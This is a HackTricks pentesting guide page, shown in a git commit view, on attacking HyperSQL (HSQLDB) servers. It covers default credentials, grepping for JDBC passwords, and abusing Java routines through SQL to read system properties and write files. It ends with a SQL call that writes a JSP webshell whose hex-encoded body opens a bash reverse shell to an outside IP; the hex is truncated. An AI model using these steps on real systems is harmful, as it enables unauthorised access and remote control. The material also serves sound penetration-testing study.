hacktricks/pentesting/pentesting-hypersql-server.md
Garrett Hayes 7031f30741
Add Pentesting HSQLDB Page
I came across this one today and noticed it's not yet covered in your book. Thought this would be a nice addition since it's a piece of common-ish software with little to no pentesting coverage on the web.
2020-12-01 17:30:44 -05:00

74 lines
3 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 9001 - Pentesting HyperSQL Server (HSQLDB)
## Basic Information
HSQLDB ([HyperSQL DataBase](http://hsqldb.org/)) is the leading SQL relational database system written in Java. It offers a small, fast multithreaded and transactional database engine with in-memory and disk-based tables and supports embedded and server modes.
**Default port:** 9001
```text
9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0)
```
## Information
### Default Settings
Note that by default this service is likely running in memory or is bound to localhost. If you found it, you probably exploited another service and are looking to escalate privileges.
Default credentials are usually `sa` with a blank password.
If you've exploited another service, search for possible credentials using
```bash
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
```
Note the database name carefully - you'll need it to connect.
## Info Gathering
Connect to the DB instance by [downloading HSQLDB](https://sourceforge.net/projects/hsqldb/files/) and extracting `hsqldb/lib/hsqldb.jar`. Run the GUI app (eww) using `java -jar hsqldb.jar` and connect to the instance using the discovered/weak credentials.
Note the connection URL will look something like this for a remote system: `jdbc:hsqldb:hsql://ip/DBNAME`.
## Tricks
### Java Language Routines
We can call static methods of a Java class from HSQLDB using Java Language Routines. Do note that the called class needs to be in the applications classpath.
JRTs can be `functions` or `procedures`. Functions can be called via SQL statements if the Java method returns one or more SQL-compatible primitive variables. They are invoked using the `VALUES` statement.
If the Java method we want to call returns void, we need to use a procedure invoked with the `CALL` statement.
### Reading Java System Properties
Create function:
```sql
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
```
Execute function:
```sql
VALUES(getsystemproperty('user.name'))
```
You can find a [list of system properties here](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html).
### Write Content to File
You can use the `com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` Java gadget located in the JDK (auto loaded into the class path of the application) to write hex-encoded items to disk via a custom procedure. **Note the maximum size of 1024 bytes**.
Create procedure:
```sql
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'
```
Execute procedure:
```sql
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
```